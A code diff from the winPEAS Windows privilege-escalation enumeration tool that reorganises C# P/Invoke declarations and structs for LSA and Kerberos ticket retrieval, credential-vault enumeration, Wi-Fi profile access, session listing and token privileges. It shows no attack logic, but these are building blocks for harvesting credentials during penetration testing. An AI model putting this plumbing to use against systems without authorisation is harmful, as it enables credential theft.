||||
string pszPackage,
|
||||
int fCredentialUse,
|
||||
IntPtr PAuthenticationID,
|
||||
IntPtr pAuthData,
|
||||
int pGetKeyFn,
|
||||
IntPtr pvGetKeyArgument,
|
||||
ref SECURITY_HANDLE phCredential,
|
||||
ref SecurityPackages.SECURITY_INTEGER ptsExpiry);
|
||||
|
||||
[DllImport("secur32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern uint InitializeSecurityContext(
|
||||
ref SECURITY_HANDLE phCredential,
|
||||
IntPtr phContext,
|
||||
IntPtr pszTargetName,
|
||||
int fContextReq,
|
||||
int Reserved1,
|
||||
int TargetDataRep,
|
||||
IntPtr pInput,
|
||||
int Reserved2,
|
||||
out SECURITY_HANDLE phNewContext,
|
||||
out SecBufferDesc pOutput,
|
||||
out uint pfContextAttr,
|
||||
out SecurityPackages.SECURITY_INTEGER ptsExpiry);
|
||||
|
||||
[DllImport("secur32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern uint InitializeSecurityContext(
|
||||
ref SECURITY_HANDLE phCredential,
|
||||
ref SECURITY_HANDLE phContext,
|
||||
IntPtr pszTargetName,
|
||||
int fContextReq,
|
||||
int Reserved1,
|
||||
int TargetDataRep,
|
||||
ref SecBufferDesc pInput,
|
||||
int Reserved2,
|
||||
out SECURITY_HANDLE phNewContext,
|
||||
out SecBufferDesc pOutput,
|
||||
out uint pfContextAttr,
|
||||
out SecurityPackages.SECURITY_INTEGER ptsExpiry);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = true)]
|
||||
internal static extern uint AcceptSecurityContext(
|
||||
ref SECURITY_HANDLE phCredential,
|
||||
IntPtr phContext,
|
||||
ref SecBufferDesc pInput,
|
||||
uint fContextReq,
|
||||
uint TargetDataRep,
|
||||
out SECURITY_HANDLE phNewContext,
|
||||
out SecBufferDesc pOutput,
|
||||
out uint pfContextAttr,
|
||||
out SecurityPackages.SECURITY_INTEGER ptsTimeStamp);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = true)]
|
||||
internal static extern uint DeleteSecurityContext(ref SECURITY_HANDLE phCredential);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = true)]
|
||||
internal static extern uint FreeCredentialsHandle(ref SECURITY_HANDLE phCredential);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = true)]
|
||||
internal static extern int
|
||||
LsaRegisterLogonProcess(LSA_STRING_IN LogonProcessName, out IntPtr LsaHandle, out ulong SecurityMode);
|
||||
|
||||
[DllImport("Secur32.dll", SetLastError = false)]
|
||||
internal static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList);
|
||||
|
||||
[DllImport("Secur32.dll", SetLastError = false)]
|
||||
internal static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
internal static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING_IN PackageName, [Out] out int AuthenticationPackage);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
internal static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_QUERY_TKT_CACHE_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
internal static extern uint LsaFreeReturnBuffer(IntPtr buffer);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
internal static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
internal static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle);
|
||||
|
||||
[DllImport("secur32.dll", EntryPoint = "LsaCallAuthenticationPackage", SetLastError = false)]
|
||||
internal static extern int LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_RETRIEVE_TKT_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);
|
||||
}
|
||||
}
|
19
winPEAS/winPEASexe/winPEAS/Native/Structs/LUID.cs
Normal file
19
winPEAS/winPEASexe/winPEAS/Native/Structs/LUID.cs
Normal file
@ -0,0 +1,19 @@
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.Native.Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
|
||||
public static LUID FromName(string name, string systemName = null)
|
||||
{
|
||||
LUID val;
|
||||
if (!Advapi32.LookupPrivilegeValue(systemName, name, out val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
return val;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,18 @@
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Native.Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct LUID_AND_ATTRIBUTES
|
||||
{
|
||||
public LUID Luid;
|
||||
public PrivilegeAttributes Attributes;
|
||||
|
||||
public LUID_AND_ATTRIBUTES(LUID luid, PrivilegeAttributes attr)
|
||||
{
|
||||
Luid = luid;
|
||||
Attributes = attr;
|
||||
}
|
||||
}
|
||||
}
|
27
winPEAS/winPEASexe/winPEAS/Native/Structs/PRIVILEGE_SET.cs
Normal file
27
winPEAS/winPEASexe/winPEAS/Native/Structs/PRIVILEGE_SET.cs
Normal file
@ -0,0 +1,27 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.Native.Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PRIVILEGE_SET : IDisposable
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
public uint Control;
|
||||
public IntPtr Privilege;
|
||||
|
||||
public PRIVILEGE_SET(uint control, params LUID_AND_ATTRIBUTES[] privileges)
|
||||
{
|
||||
PrivilegeCount = (uint)privileges.Length;
|
||||
Control = control;
|
||||
Privilege = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES)) * (int)PrivilegeCount);
|
||||
for (int i = 0; i < PrivilegeCount; i++)
|
||||
Marshal.StructureToPtr(privileges[i], (IntPtr)((int)Privilege + (Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES)) * i)), false);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Marshal.FreeHGlobal(Privilege);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,12 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.Native.Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SID_AND_ATTRIBUTES
|
||||
{
|
||||
public IntPtr Sid;
|
||||
public UInt32 Attributes;
|
||||
}
|
||||
}
|
11
winPEAS/winPEASexe/winPEAS/Native/Structs/TOKEN_ELEVATION.cs
Normal file
11
winPEAS/winPEASexe/winPEAS/Native/Structs/TOKEN_ELEVATION.cs
Normal file
@ -0,0 +1,11 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.Native.Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TOKEN_ELEVATION
|
||||
{
|
||||
public Int32 TokenIsElevated;
|
||||
}
|
||||
}
|
@ -0,0 +1,10 @@
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.Native.Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TOKEN_MANDATORY_LABEL
|
||||
{
|
||||
public SID_AND_ATTRIBUTES Label;
|
||||
}
|
||||
}
|
@ -0,0 +1,22 @@
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Native.Structs
|
||||
{
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
public LUID_AND_ATTRIBUTES Privileges;
|
||||
|
||||
public TOKEN_PRIVILEGES(LUID luid, PrivilegeAttributes attribute)
|
||||
{
|
||||
PrivilegeCount = 1;
|
||||
Privileges.Luid = luid;
|
||||
Privileges.Attributes = attribute;
|
||||
}
|
||||
|
||||
public static uint SizeInBytes => (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES));
|
||||
}
|
||||
}
|
16
winPEAS/winPEASexe/winPEAS/Native/User32.cs
Normal file
16
winPEAS/winPEASexe/winPEAS/Native/User32.cs
Normal file
@ -0,0 +1,16 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class User32
|
||||
{
|
||||
// https://stackoverflow.com/questions/115868/how-do-i-get-the-title-of-the-current-active-window-using-c
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
}
|
||||
}
|
26
winPEAS/winPEASexe/winPEAS/Native/Vaultcli.cs
Normal file
26
winPEAS/winPEASexe/winPEAS/Native/Vaultcli.cs
Normal file
@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Vaultcli
|
||||
{
|
||||
// pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
internal extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
internal extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
internal extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
internal extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
internal extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr);
|
||||
|
||||
}
|
||||
}
|
56
winPEAS/winPEASexe/winPEAS/Native/WlanApi.cs
Normal file
56
winPEAS/winPEASexe/winPEAS/Native/WlanApi.cs
Normal file
@ -0,0 +1,56 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Wifi.NativeWifiApi;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class WlanApi
|
||||
{
|
||||
[DllImport("wlanapi.dll")]
|
||||
internal static extern int WlanOpenHandle(
|
||||
[In] UInt32 clientVersion,
|
||||
[In, Out] IntPtr pReserved,
|
||||
[Out] out UInt32 negotiatedVersion,
|
||||
[Out] out IntPtr clientHandle);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
internal static extern int WlanCloseHandle(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, Out] IntPtr pReserved);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
internal static extern int WlanEnumInterfaces(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, Out] IntPtr pReserved,
|
||||
[Out] out IntPtr ppInterfaceList);
|
||||
|
||||
/// <param name="flags">Not supported on Windows XP SP2: must be a <c>null</c> reference.</param>
|
||||
[DllImport("wlanapi.dll")]
|
||||
internal static extern int WlanGetProfile(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,
|
||||
[In, MarshalAs(UnmanagedType.LPWStr)] string profileName,
|
||||
[In] IntPtr pReserved,
|
||||
[Out] out IntPtr profileXml,
|
||||
[Out, Optional] out WlanProfileFlags flags,
|
||||
[Out, Optional] out WlanAccess grantedAccess);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
internal static extern int WlanGetProfileList(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,
|
||||
[In] IntPtr pReserved,
|
||||
[Out] out IntPtr profileList
|
||||
);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
internal static extern void WlanFreeMemory(IntPtr pMemory);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
internal static extern int WlanConnect(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,
|
||||
[In] ref WlanConnectionParameters connectionParameters,
|
||||
IntPtr pReserved);
|
||||
}
|
||||
}
|
37
winPEAS/winPEASexe/winPEAS/Native/Wtsapi32.cs
Normal file
37
winPEAS/winPEASexe/winPEAS/Native/Wtsapi32.cs
Normal file
@ -0,0 +1,37 @@
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Wtsapi32
|
||||
{
|
||||
[DllImport("wtsapi32.dll")]
|
||||
internal static extern void WTSCloseServer(IntPtr hServer);
|
||||
|
||||
|
||||
[DllImport("Wtsapi32.dll", SetLastError = true)]
|
||||
internal static extern bool WTSQuerySessionInformation(
|
||||
IntPtr hServer,
|
||||
uint sessionId,
|
||||
WTS_INFO_CLASS wtsInfoClass,
|
||||
out IntPtr ppBuffer,
|
||||
out uint pBytesReturned
|
||||
);
|
||||
|
||||
[DllImport("wtsapi32.dll", SetLastError = true)]
|
||||
internal static extern IntPtr WTSOpenServer([MarshalAs(UnmanagedType.LPStr)] String pServerName);
|
||||
|
||||
[DllImport("wtsapi32.dll", SetLastError = true)]
|
||||
internal static extern Int32 WTSEnumerateSessionsEx(
|
||||
IntPtr hServer,
|
||||
[MarshalAs(UnmanagedType.U4)] ref Int32 pLevel,
|
||||
[MarshalAs(UnmanagedType.U4)] Int32 Filter,
|
||||
ref IntPtr ppSessionInfo,
|
||||
[MarshalAs(UnmanagedType.U4)] ref Int32 pCount);
|
||||
|
||||
[DllImport("wtsapi32.dll")]
|
||||
internal static extern void WTSFreeMemory(IntPtr pMemory);
|
||||
}
|
||||
}
|
@ -1,366 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
{
|
||||
internal static partial class NativeMethods
|
||||
{
|
||||
const string ADVAPI32 = "advapi32.dll";
|
||||
|
||||
[Flags]
|
||||
public enum AccessTypes : uint
|
||||
{
|
||||
TokenAssignPrimary = 0x0001,
|
||||
TokenDuplicate = 0x0002,
|
||||
TokenImpersonate = 0x0004,
|
||||
TokenQuery = 0x0008,
|
||||
TokenQuerySource = 0x0010,
|
||||
TokenAdjustPrivileges = 0x0020,
|
||||
TokenAdjustGroups = 0x0040,
|
||||
TokenAdjustDefault = 0x0080,
|
||||
TokenAdjustSessionID = 0x0100,
|
||||
TokenAllAccessP = 0x000F00FF,
|
||||
TokenAllAccess = 0x000F01FF,
|
||||
TokenRead = 0x00020008,
|
||||
TokenWrite = 0x000200E0,
|
||||
TokenExecute = 0x00020000,
|
||||
|
||||
Delete = 0x00010000,
|
||||
ReadControl = 0x00020000,
|
||||
WriteDac = 0x00040000,
|
||||
WriteOwner = 0x00080000,
|
||||
Synchronize = 0x00100000,
|
||||
StandardRightsRequired = 0x000F0000,
|
||||
StandardRightsRead = 0x00020000,
|
||||
StandardRightsWrite = 0x00020000,
|
||||
StandardRightsExecute = 0x00020000,
|
||||
StandardRightsAll = 0x001F0000,
|
||||
SpecificRightsAll = 0x0000FFFF,
|
||||
AccessSystemSecurity = 0x01000000,
|
||||
MaximumAllowed = 0x02000000,
|
||||
GenericRead = 0x80000000,
|
||||
GenericWrite = 0x40000000,
|
||||
GenericExecute = 0x20000000,
|
||||
GenericAll = 0x10000000,
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum PrivilegeAttributes : uint
|
||||
{
|
||||
Disabled = 0x00000000,
|
||||
EnabledByDefault = 0x00000001,
|
||||
Enabled = 0x00000002,
|
||||
UsedForAccess = 0x80000000,
|
||||
}
|
||||
|
||||
public enum SECURITY_IMPERSONATION_LEVEL
|
||||
{
|
||||
Anonymous,
|
||||
Identification,
|
||||
Impersonation,
|
||||
Delegation
|
||||
}
|
||||
|
||||
public enum TOKEN_ELEVATION_TYPE
|
||||
{
|
||||
Default = 1,
|
||||
Full,
|
||||
Limited
|
||||
}
|
||||
|
||||
public enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId,
|
||||
TokenGroupsAndPrivileges,
|
||||
TokenSessionReference,
|
||||
TokenSandBoxInert,
|
||||
TokenAuditPolicy,
|
||||
TokenOrigin,
|
||||
TokenElevationType,
|
||||
TokenLinkedToken,
|
||||
TokenElevation,
|
||||
TokenHasRestrictions,
|
||||
TokenAccessInformation,
|
||||
TokenVirtualizationAllowed,
|
||||
TokenVirtualizationEnabled,
|
||||
TokenIntegrityLevel,
|
||||
TokenUIAccess,
|
||||
TokenMandatoryPolicy,
|
||||
TokenLogonSid,
|
||||
MaxTokenInfoClass
|
||||
}
|
||||
|
||||
[Serializable]
|
||||
public enum TokenType
|
||||
{
|
||||
TokenImpersonation = 2,
|
||||
TokenPrimary = 1
|
||||
}
|
||||
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail), DllImport(ADVAPI32, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool AdjustTokenPrivileges([In] SafeTokenHandle TokenHandle, [In] bool DisableAllPrivileges, [In] ref TOKEN_PRIVILEGES NewState, [In] uint BufferLength, [In, Out] ref TOKEN_PRIVILEGES PreviousState, [In, Out] ref uint ReturnLength);
|
||||
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail), DllImport(ADVAPI32, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool AdjustTokenPrivileges([In] SafeTokenHandle TokenHandle, [In] bool DisableAllPrivileges, [In] ref TOKEN_PRIVILEGES NewState, [In] uint BufferLength, [In] IntPtr PreviousState, [In] IntPtr ReturnLength);
|
||||
|
||||
[DllImport(ADVAPI32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool ConvertStringSidToSid([In, MarshalAs(UnmanagedType.LPTStr)] string pStringSid, ref IntPtr sid);
|
||||
|
||||
[DllImport(ADVAPI32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public extern static bool DuplicateToken(SafeTokenHandle ExistingTokenHandle, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, out SafeTokenHandle DuplicateTokenHandle);
|
||||
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail), DllImport(ADVAPI32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool DuplicateTokenEx([In] SafeTokenHandle ExistingTokenHandle, [In] AccessTypes DesiredAccess, [In] IntPtr TokenAttributes, [In] SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, [In] TokenType TokenType, [In, Out] ref SafeTokenHandle DuplicateTokenHandle);
|
||||
|
||||
[DllImport(ADVAPI32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern IntPtr GetSidSubAuthority(IntPtr pSid, UInt32 nSubAuthority);
|
||||
|
||||
[DllImport(ADVAPI32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GetTokenInformation(SafeTokenHandle hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr pTokenInfo, Int32 tokenInfoLength, out Int32 returnLength);
|
||||
|
||||
[DllImport(ADVAPI32, ExactSpelling = true, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
|
||||
|
||||
[DllImport(ADVAPI32, SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern int LogonUser(string lpszUserName, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||
|
||||
[DllImport(ADVAPI32, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool LookupAccountSid(string systemName, byte[] accountSid, StringBuilder accountName, ref int nameLength, StringBuilder domainName, ref int domainLength, out int accountType);
|
||||
|
||||
[DllImport(ADVAPI32, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool LookupAccountSid([In, MarshalAs(UnmanagedType.LPTStr)] string systemName, IntPtr sid, StringBuilder name, ref int cchName, StringBuilder referencedDomainName, ref int cchReferencedDomainName, out int use);
|
||||
|
||||
[DllImport(ADVAPI32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool LookupPrivilegeValue(string systemName, string name, out LUID luid);
|
||||
|
||||
[DllImport(ADVAPI32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool OpenProcessToken(IntPtr ProcessHandle, AccessTypes DesiredAccess, out SafeTokenHandle TokenHandle);
|
||||
|
||||
[DllImport(ADVAPI32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool OpenThreadToken(IntPtr ThreadHandle, AccessTypes DesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool OpenAsSelf, out SafeTokenHandle TokenHandle);
|
||||
|
||||
[DllImport(ADVAPI32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool PrivilegeCheck(IntPtr ClientToken, ref PRIVILEGE_SET RequiredPrivileges, out int result);
|
||||
|
||||
[DllImport(ADVAPI32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool RevertToSelf();
|
||||
|
||||
[DllImport(ADVAPI32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool SetThreadToken(IntPtr ThreadHandle, SafeTokenHandle TokenHandle);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
|
||||
public static LUID FromName(string name, string systemName = null)
|
||||
{
|
||||
LUID val;
|
||||
if (!NativeMethods.LookupPrivilegeValue(systemName, name, out val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
return val;
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct LUID_AND_ATTRIBUTES
|
||||
{
|
||||
public LUID Luid;
|
||||
public PrivilegeAttributes Attributes;
|
||||
|
||||
public LUID_AND_ATTRIBUTES(LUID luid, PrivilegeAttributes attr)
|
||||
{
|
||||
Luid = luid;
|
||||
Attributes = attr;
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PRIVILEGE_SET : IDisposable
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
public uint Control;
|
||||
public IntPtr Privilege;
|
||||
|
||||
public PRIVILEGE_SET(uint control, params LUID_AND_ATTRIBUTES[] privileges)
|
||||
{
|
||||
PrivilegeCount = (uint)privileges.Length;
|
||||
Control = control;
|
||||
Privilege = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES)) * (int)PrivilegeCount);
|
||||
for (int i = 0; i < PrivilegeCount; i++)
|
||||
Marshal.StructureToPtr(privileges[i], (IntPtr)((int)Privilege + (Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES)) * i)), false);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Marshal.FreeHGlobal(Privilege);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SID_AND_ATTRIBUTES
|
||||
{
|
||||
public IntPtr Sid;
|
||||
public UInt32 Attributes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TOKEN_ELEVATION
|
||||
{
|
||||
public Int32 TokenIsElevated;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TOKEN_MANDATORY_LABEL
|
||||
{
|
||||
public SID_AND_ATTRIBUTES Label;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
public LUID_AND_ATTRIBUTES Privileges;
|
||||
|
||||
public TOKEN_PRIVILEGES(LUID luid, PrivilegeAttributes attribute)
|
||||
{
|
||||
PrivilegeCount = 1;
|
||||
Privileges.Luid = luid;
|
||||
Privileges.Attributes = attribute;
|
||||
}
|
||||
|
||||
public static uint SizeInBytes => (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES));
|
||||
}
|
||||
|
||||
public partial class SafeTokenHandle
|
||||
{
|
||||
private const Int32 ERROR_NO_TOKEN = 0x000003F0;
|
||||
private const Int32 ERROR_INSUFFICIENT_BUFFER = 122;
|
||||
private static SafeTokenHandle currentProcessToken = null;
|
||||
|
||||
public T GetInfo<T>(TOKEN_INFORMATION_CLASS type)
|
||||
{
|
||||
int cbSize = Marshal.SizeOf(typeof(T));
|
||||
IntPtr pType = Marshal.AllocHGlobal(cbSize);
|
||||
|
||||
try
|
||||
{
|
||||
// Retrieve token information.
|
||||
if (!NativeMethods.GetTokenInformation(this, type, pType, cbSize, out cbSize))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
|
||||
// Marshal from native to .NET.
|
||||
switch (type)
|
||||
{
|
||||
case TOKEN_INFORMATION_CLASS.TokenType:
|
||||
case TOKEN_INFORMATION_CLASS.TokenImpersonationLevel:
|
||||
case TOKEN_INFORMATION_CLASS.TokenSessionId:
|
||||
case TOKEN_INFORMATION_CLASS.TokenSandBoxInert:
|
||||
case TOKEN_INFORMATION_CLASS.TokenOrigin:
|
||||
case TOKEN_INFORMATION_CLASS.TokenElevationType:
|
||||
case TOKEN_INFORMATION_CLASS.TokenHasRestrictions:
|
||||
case TOKEN_INFORMATION_CLASS.TokenUIAccess:
|
||||
case TOKEN_INFORMATION_CLASS.TokenVirtualizationAllowed:
|
||||
case TOKEN_INFORMATION_CLASS.TokenVirtualizationEnabled:
|
||||
return (T)Convert.ChangeType(Marshal.ReadInt32(pType), typeof(T));
|
||||
|
||||
case TOKEN_INFORMATION_CLASS.TokenLinkedToken:
|
||||
return (T)Convert.ChangeType(Marshal.ReadIntPtr(pType), typeof(T));
|
||||
|
||||
case TOKEN_INFORMATION_CLASS.TokenUser:
|
||||
case TOKEN_INFORMATION_CLASS.TokenGroups:
|
||||
case TOKEN_INFORMATION_CLASS.TokenPrivileges:
|
||||
case TOKEN_INFORMATION_CLASS.TokenOwner:
|
||||
case TOKEN_INFORMATION_CLASS.TokenPrimaryGroup:
|
||||
case TOKEN_INFORMATION_CLASS.TokenDefaultDacl:
|
||||
case TOKEN_INFORMATION_CLASS.TokenSource:
|
||||
case TOKEN_INFORMATION_CLASS.TokenStatistics:
|
||||
case TOKEN_INFORMATION_CLASS.TokenRestrictedSids:
|
||||
case TOKEN_INFORMATION_CLASS.TokenGroupsAndPrivileges:
|
||||
case TOKEN_INFORMATION_CLASS.TokenElevation:
|
||||
case TOKEN_INFORMATION_CLASS.TokenAccessInformation:
|
||||
case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel:
|
||||
case TOKEN_INFORMATION_CLASS.TokenMandatoryPolicy:
|
||||
case TOKEN_INFORMATION_CLASS.TokenLogonSid:
|
||||
return (T)Marshal.PtrToStructure(pType, typeof(T));
|
||||
|
||||
case TOKEN_INFORMATION_CLASS.TokenSessionReference:
|
||||
case TOKEN_INFORMATION_CLASS.TokenAuditPolicy:
|
||||
default:
|
||||
return default(T);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(pType);
|
||||
}
|
||||
}
|
||||
|
||||
